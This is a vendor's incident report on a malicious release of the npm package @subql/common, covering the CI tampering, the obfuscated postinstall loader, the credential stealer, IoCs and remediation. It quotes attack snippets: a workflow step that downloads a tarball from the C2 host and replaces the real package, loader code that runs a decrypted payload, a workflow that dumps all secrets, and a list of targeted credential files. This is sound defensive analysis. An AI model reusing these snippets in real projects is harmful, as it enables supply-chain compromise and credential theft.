Software Supply Chain Attack on @subql/common: Overview and Response Guidance
Posted on October 6, 2026 • 13 minutes • 2585 words
Table of contents
- TL;DR — Response Guidance
- Introduction
- Timeline (UTC)
- Infection Vector — From GitHub Repository Compromise to npm Publish
-
Compromise Details
- Stage 1 — The postinstall Hook (Entry Point)
- Stage 2 — manifest-cache.js (Obfuscated Loader)
-
Stage 3 — Multi-Function Credential Stealer + C2 Agent
- 3a. String Obfuscation (beautify Function)
- 3b. Excluding Russian-Language Environments
- 3c. Daemonization + Lock File
- 3d. Harvesting Modules
- 3e. Filesystem Scan Targets
- 3f. C2 Communication
- 3g. Obfuscated Attack Toolkit (Embedded AES-256-GCM Scripts)
- 3h. GitHub Actions Workflow Injection
- 3i. Legitimate API Calls Using AWS Signature V4
- Response Guidance
- Recommendations: Put Your Own Defenses in Place
- IoCs
- Affected Packages
Note) This post is a direct translation of this post .
On October 5, 2026, malicious code was injected into the npm package @subql/common, a package developed in SubQuery’s GitHub repository, subquery/subql.
The injected malicious code combines infostealer and C2 backdoor functionality. Executed via a postinstall hook, it steals credentials for AWS, GitHub, Kubernetes, Vault, etc. and exfiltrates them to a C2 server. It is also capable of accepting remote commands from a reverse shell.
The attacker who injected this malicious code tampered with the CI/CD workflow of the subql GitHub repository, and published the malicious version via GitHub Actions OIDC (Trusted Publisher), making it difficult to distinguish from a legitimate release.
This article goes into detail on this malicious package based on information we observed and analyzed on the analysis infrastructure behind Takumi Guard, focusing on its impact as well as the countermeasures to take.
TL;DR — Response Guidance
- If you ran
npm installfor@subql/common@5.8.3, your environment may be infected with malware. The same attacker also published@subql/common@5.8.3-onf-rt1, but since it contains nopostinstallscript, it is presumed to be a pre-attack test release. The latest known safe version is5.8.2(you can confirm that it has nopostinstallscript withnpm view @subql/common@5.8.2 scripts). - Immediate actions if you suspect infection:
- Immediately rotate the AWS IAM credentials (
AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY/AWS_SESSION_TOKEN) of any environment where the package was installed. AWS SSM Parameter Store and Secrets Manager were enumerated and read across all regions. - Revoke and reissue GitHub tokens (anything obtainable via
gh auth token, theGITHUB_TOKENin GitHub Actions, and PATs in theghp_/gho_format). - Sensitive files on the installation environment’s filesystem — SSH private keys,
.env,.npmrc, Docker config, Kubernetes config, Vault tokens, and so on — were targeted for reading. Take stock of the potential impact and reissue all of them.
- Immediately rotate the AWS IAM credentials (
- Stopping persistence: this malware daemonizes itself (as a detached child process) and keeps running in the background after installation. Check whether any process running
manifest-cache.js --warmremains, and terminate it if so. The presence of/tmp/tmp.ts018051808.lockis also an indicator of infection. Also consider the possibility that remote control via a reverse shell has already taken place.
Introduction
The purpose of this article is to help readers understand the situation and respond; it is not intended to assist or encourage any illegal activity.
The payload’s behavior is summarized only to the extent necessary to understand the techniques involved. Some descriptions may contain inaccuracies. Please bear in mind that we have prioritized getting this report out quickly.
Timeline (UTC)
| Date/Time (UTC) | Event |
|---|---|
| 2026-10-05 11:24 | @subql/common@5.8.3-onf-rt1 published to npm (no postinstall — believed to be a pre-attack test release) |
| 2026-10-05 11:52 | Malicious commit 506863d pushed to the subquery/subql repository (not GPG-signed) |
| 2026-10-05 11:56 | @subql/common@5.8.3 published to npm as a Trusted Publisher release via GitHub Actions OIDC |
| 2026-10-05 12:46 (approx.) | @subql/common@5.8.3 appears to have been removed from npm (estimated from the registry’s modified timestamp) |
Infection Vector — From GitHub Repository Compromise to npm Publish
Overview
This attack is a supply chain attack that manipulates the CI/CD pipeline. The attacker obtained push access to the subquery/subql GitHub repository and tampered with the CI/CD workflow (.github/workflows/publish.yml) to inject a malicious payload into the legitimate npm publishing flow. This way, the package is published via GitHub Actions OIDC (Trusted Publisher), making it difficult to distinguish from a legitimate publish on npm.
Attack Flow
Step 1: Malicious commit made to the GitHub repository (2026-10-05 11:52 UTC)
The attacker pushed commit 506863d6fb82bd2714970cf8c6f1bf364374b009 under the name Ian He <ian@onfinality.io>. This commit is not GPG-signed (verified=False), whereas all of Ian He’s past legitimate commits are GPG-signed. There is also a gap of roughly six months since the most recent legitimate commit (last legitimate commit: 2026-04-01).
This commit makes changes to the following two files.
.github/workflows/publish.yml— tampering with the CI workflow
+ - name: Sync common artifacts from release mirror
+ if: needs.setup.outputs.changed-common == 'true'
+ run: |
+ curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
+ && rm -rf packages/common \
+ && mkdir -p packages/common \
+ && tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1
This step is inserted immediately before the “Publish Common” step and replaces the built legitimate package with a malicious, tampered version of the package, downloaded externally. In addition, the attacker added workflow_dispatch to the release conditions, making the workflow runnable via manual trigger as well.
packages/common/package.json— bumps the version from5.8.2to5.8.3.
Step 2: Executing npm publish (2026-10-05 11:56 UTC) Pushing the commit triggers the GitHub Actions publish workflow. The workflow does the following:
- Detects changes to
packages/common - Downloads the malicious tarball from the C2 server in the tampered step
- Replaces the legitimate
packages/commondirectory with the malicious package - Publishes
@subql/common@5.8.3to npm via thecreate-releaseaction. On npm, the publisher is recorded as the Trusted Publisher"GitHub Actions" <npm-oidc-no-reply@github.com>, making it difficult to distinguish from a legitimate release.
Compromise Details
Stage 1 — The postinstall Hook (Entry Point)
A postinstall script was added to the package.json of the otherwise legitimate @subql/common package. This script does not exist in v5.8.2.
"postinstall": "node ./dist/project/readers/manifest-cache.js"
Simply running npm install for this package version executes the attack code automatically — no require() needed.
Stage 2 — manifest-cache.js (Obfuscated Loader)
manifest-cache.js is a 548-line loader, which masquerades as a legitimate class, ManifestCacheReader, and embeds roughly 460 lines’ worth of a base64-encoded array named MANIFEST_CACHE_SEED.
When executed directly (require.main === module), it calls ManifestCacheReader.warm(), which relaunches the script itself as a detached child process with the --warm argument.
static warm(root) {
child_process_1.spawn(process.execPath, [__filename, '--warm'], {
detached: true,
stdio: 'ignore',
env: { ...process.env, SUBQL_MANIFEST_ROOT: path_1.default.resolve(root) },
}).unref();
}
In --warm mode, decodeManifestSeed() performs base64 decoding → XOR decryption (rolling key, initial value 0x5a) → gunzip, and the decrypted result is executed directly via new Function().
const src = decodeManifestSeed();
const run = new Function('require', 'module', 'exports', '__filename', '__dirname', src);
const mod = { exports: {} };
run(require, mod, mod.exports, __filename, __dirname);
Moreover, warm() is also called in the require.main !== module case (i.e., when imported from another module), so calling require('@subql/common') at runtime launches the malicious payload as well.
if (require.main !== module) {
try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}
Stage 3 — Multi-Function Credential Stealer + C2 Agent
The decrypted payload contains sophisticated malicious code with the following capabilities.
3a. String Obfuscation (beautify Function)
All sensitive strings are encrypted with a function called beautify(). It uses a custom cipher that builds an SHA-256-based S-box substitution from a PBKDF2-derived master key and a random nonce, and decrypts each byte through it.
3b. Excluding Russian-Language Environments
At runtime, process.exit(0) is immediately called if the locale (Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG) is Russian (ru).
qt() && (h.log("Exiting as russian language detected!"), process.exit(0))
3c. Daemonization + Lock File
If not in a CI environment, it establishes persistence with detached: true and continues in the background. A lock file, tmp.ts018051808.lock, prevents multiple instances from running. It also disables TLS verification.
3d. Harvesting Modules
The following file harvest modules run in sequence and sends the stolen data to a C2 server.
| Target | Data Collected |
|---|---|
| Local files | Reads credential files and other sensitive files (detailed list in Section 3e) |
| Environment variables / GitHub CLI | The entire process.env; the GitHub token obtainable via gh auth token |
| GitHub Actions runner | Extracts secrets from the runner process’s memory (via memory dump via sudo python3) |
| AWS SSM Parameter Store | Enumerates and retrieves parameters across all 17 regions |
| AWS Secrets Manager | Enumerates and retrieves secrets across all 17 regions |
| AWS STS | Confirms the IAM identity via GetCallerIdentity |
| Kubernetes | Enumerates and retrieves Secrets in all namespaces via API |
| HashiCorp Vault | Enumerates KV mounts and retrieves secrets |
| GitHub Actions secrets | Enumerates repository/org secret names; injects a workflow (disguised as CodeQL) |
3e. Filesystem Scan Targets
Paths the malware attempts to read include the following:
~/.aws/credentials,~/.aws/config~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/config~/.npmrc,.npmrc~/.docker/config.json~/.kube/config~/.gitconfig,.git-credentials,.git/config.env,**/.env,**/.env.local,**/.env.production~/.claude.json,~/.claude/mcp.json,.kiro/settings/mcp.json~/.config/gcloud/credentials.db,~/.config/gcloud/access_tokens.db~/.azure/accessTokens.json,~/.azure/msal_token_cache.*~/.bitcoin/wallet.dat,~/.ethereum/keystore/*,~/.electrum/wallets/*,~/.monero/*~/.bash_history,~/.zsh_history~/.config/Slack/Cookies,~/.config/Signal/*,~/.config/telegram-desktop/*/etc/ssh/ssh_host_*_key**/wp-config.php,**/config/database.yml
3f. C2 Communication
C2 infrastructure:
- Domain:
ci-artifacts.dev - IP:
185.146.234.137
We have confirmed that stolen data is exfiltrated to the C2 server, and that the malware polls the C2 server for commands, such as commands to launch a reverse shell on the infected host.
3g. Obfuscated Attack Toolkit (Embedded AES-256-GCM Scripts)
Stage 3 involves 10 AES-256-GCM-encrypted and gzip-compressed scripts, but out of those, only 3 of them are actually referenced from this malicious code sample. The remaining 7 are merely declared; there is no code that writes them to the filesystem or calls them.
| Script | Function | Called in this sample |
|---|---|---|
| Secrets-stealing workflow (GitHub Actions) | Disguised as “Run Copilot”; dumps all secrets via ${{ toJSON(secrets) }} and uploads them as an artifact |
Yes (see section 3h) |
| Runner memory dump (Python) | Scans the Runner.Worker process’s /proc/PID/mem and extracts values marked "isSecret":true |
Yes (see section 3d) |
| RSA-4096 public key | For encrypting stolen data (RSA-OAEP) | Yes |
| GitHub token monitoring daemon (Bash) | Persists via a systemd user unit / LaunchAgent and runs a handler when it detects token revocation | No |
| Claude Code hooks configuration | Runs node .vscode/setup.mjs on SessionStart |
No |
| VS Code tasks.json | Runs node .claude/setup.mjs with runOn: "folderOpen" |
No |
| Follow-on payload launchers (Bash / Python / Node.js versions) | Installs Bun v1.3.13 and runs ai_init.js or router_runtime.js |
No |
| RSA-4096 public key (spare) | Spare public key | No |
The unused scripts are plausibly intended for manual deployment by the attacker via arbitrary command execution over the C2 channel (refer to section 3f), or for use in future variants.
3h. GitHub Actions Workflow Injection
If a stolen token has the workflow scope, the malware enumerates the accessible repository’s Actions secrets and injects the following workflow disguised as “Run Copilot”. It dumps all repository secrets via toJSON(secrets) and has them uploaded as an artifact.
name: Run Copilot
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt
The commit message is disguised as “Add CodeQL Analysis”, and the committer uses a fake name and email address. After the workflow completes, the attacker retrieves the secrets from the artifact.
3i. Legitimate API Calls Using AWS Signature V4
AWS credentials are resolved from a large number of sources — environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), ~/.aws/credentials, AWS_WEB_IDENTITY_TOKEN_FILE (IRSA), IMDS (169.254.169.254), and more — and the malware then makes legitimate AWS API calls signed with AWS Signature V4. In our trace, enumeration of SSM/Secrets Manager across all regions was carried out using temporary credentials obtained via the sandbox’s IMDS.
Response Guidance
1. Assessing Impact
# Check whether a lockfile contains the malicious version
grep -r "@subql/common" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null | grep "5.8.3"
# Check for communication with the C2 domain
grep -r "ci-artifacts\.dev" /var/log 2>/dev/null
# Check for the lock file (an indicator of infection)
ls -la /tmp/tmp.ts018051808.lock 2>/dev/null
# Check DNS logs
grep "ci-artifacts.dev" /var/log/syslog /var/log/messages 2>/dev/null
2. Removal
# Remove the malicious version and downgrade to a safe version
npm install @subql/common@5.8.2
# Or remove it entirely
npm uninstall @subql/common
Because background processes may remain, check for and terminate any process running manifest-cache.js --warm.
ps aux | grep "manifest-cache.js"
# Kill the matching processes
3. Credential Rotation
Revoke and reissue all of the following credentials which were valid in the infected environment.
| Target | Reason |
|---|---|
| AWS IAM credentials (all regions) | SSM / Secrets Manager enumeration was executed across all regions |
| GitHub PATs / OAuth tokens | gh auth token execution and API calls were confirmed |
| GitHub Actions secrets | Possible secret theft via workflow injection |
| SSH private keys | ~/.ssh/id* is targeted for reading |
npm tokens in .npmrc |
Targeted for reading |
Secrets in .env |
Targeted for reading |
| Docker registry credentials | ~/.docker/config.json is targeted for reading |
| Kubernetes secrets | If in-cluster, enumerated and retrieved via the API |
| Vault secrets | If a Vault token is present, all mounts are enumerated and retrieved |
The entire process.env |
Environment variables are exfiltrated wholesale |
Recommendations: Put Your Own Defenses in Place
Supply chain attacks on the npm ecosystem keep coming, one after another: the axios compromise in March, Mini Shai-Hulud in April–May, the AsyncAPI compromise in July, the keyv compromise in August, and now this @subql/common compromise.
We recommend putting the following layered defenses in place.
Disable Lifecycle Scripts
Make the following your standard policy in CI/CD. For this @subql/common@5.8.3 incident, this alone stops the payload from firing at npm install time.
npm ci --ignore-scripts
Note (npm v12): As of npm v12, lifecycle scripts are ignored by default. On v12 or later, explicitly passing --ignore-scripts is unnecessary, but if your CI/CD runs a mix of npm versions, we still recommend specifying it explicitly.
That said, this specimen launches its payload not only from postinstall but also when require('@subql/common') is called. Disabling lifecycle scripts alone is not enough to fully prevent malicious code execution. Complement it with the cooldown period and registry-side blocking described below.
Configure a Dependency Cooldown (min-release-age)
In npm v11 and later, setting min-release-age in .npmrc prevents installation of versions that have not been public for a certain period of time. We recommend 7 days; even if you are in a hurry, keep at least 3.
# .npmrc
min-release-age=7
Verify Provenance Attestations
In this compromise, the attacker tampered with the CI/CD workflow of the subquery/subql repository and published through legitimate GitHub Actions OIDC (Trusted Publisher).
5.8.3 has already been removed from the registry and can no longer be examined, but 5.8.3-onf-rt1, published through the same flow, carries SLSA provenance. The legitimate 5.8.2, on the other hand, has no provenance.
@subql/common@5.8.2 publisher: npm-oidc-no-reply@github.com provenance: none
@subql/common@5.8.3-onf-rt1 publisher: npm-oidc-no-reply@github.com provenance: yes (SLSA v1)
As this shows, in cases where the attacker has compromised the pipeline itself, the presence or absence of provenance alone cannot tell the malicious version apart.
Provenance remains a useful layer of defense (it is effective against direct publishes made using stolen tokens), but it is not sufficient against CI/CD pipeline compromise. Combine it with layered defenses such as min-release-age and Takumi Guard.
Block Malicious Dependencies (Takumi Guard)
We (GMO Flatt Security) offer Takumi Guard, a secure npm registry proxy .
Takumi Guard is a security proxy that sits between you and the npm registry and blocks malicious packages. We inspect every newly published package ourselves and build the blocklist from those inspections. PyPI / RubyGems / Packagist / Go Modules are also supported. Setup takes nothing more than changing your registry URL, and it is free to use.
# npm
npm config set registry https://npm.flatt.tech/
# yarn v1
yarn config set registry https://npm.flatt.tech
# yarn v2+
yarn config set npmRegistryServer https://npm.flatt.tech
# pnpm
pnpm config set registry https://npm.flatt.tech/
In the event that a malicious package cannot be identified as malware, and was not blocked by Takumi Guard at a given point in time, we notify affected users once maliciousness is confirmed (this feature is free as well). Email address registration is required for notifications, so please sign up via the page below.
https://flatt.tech/takumi/features/guard
We also offer management features for enterprises (paid), such as bulk setup across multiple machines and notifications to administrators. If you are interested, please contact us .
IoCs
Hashes (SHA-256)
| File | Hash |
|---|---|
common-5.8.3.tgz (the package published to npm) |
031267ee37c5a84c25cb0542cbfeb49f30d5604305b0bdccdeafbedcbbe6849b |
Network
| Type | Value | Notes |
|---|---|---|
| Domain | ci-artifacts.dev |
C2 server + malicious package hosting |
| IP | 185.146.234.137 |
Resolves from ci-artifacts.dev |
Git
| Type | Value | Notes |
|---|---|---|
| Malicious commit | 506863d6fb82bd2714970cf8c6f1bf364374b009 |
subquery/subql repository; not GPG-signed; tampers with publish.yml |
Affected Packages
| Package | Malicious Version | Safe Version | Notes |
|---|---|---|---|
@subql/common |
5.8.3 |
5.8.2 (no postinstall) |
postinstall + embedded encrypted payload |
@subql/common |
5.8.3-onf-rt1 |
— | Presumed pre-attack test release. No postinstall added, but published by the same attacker |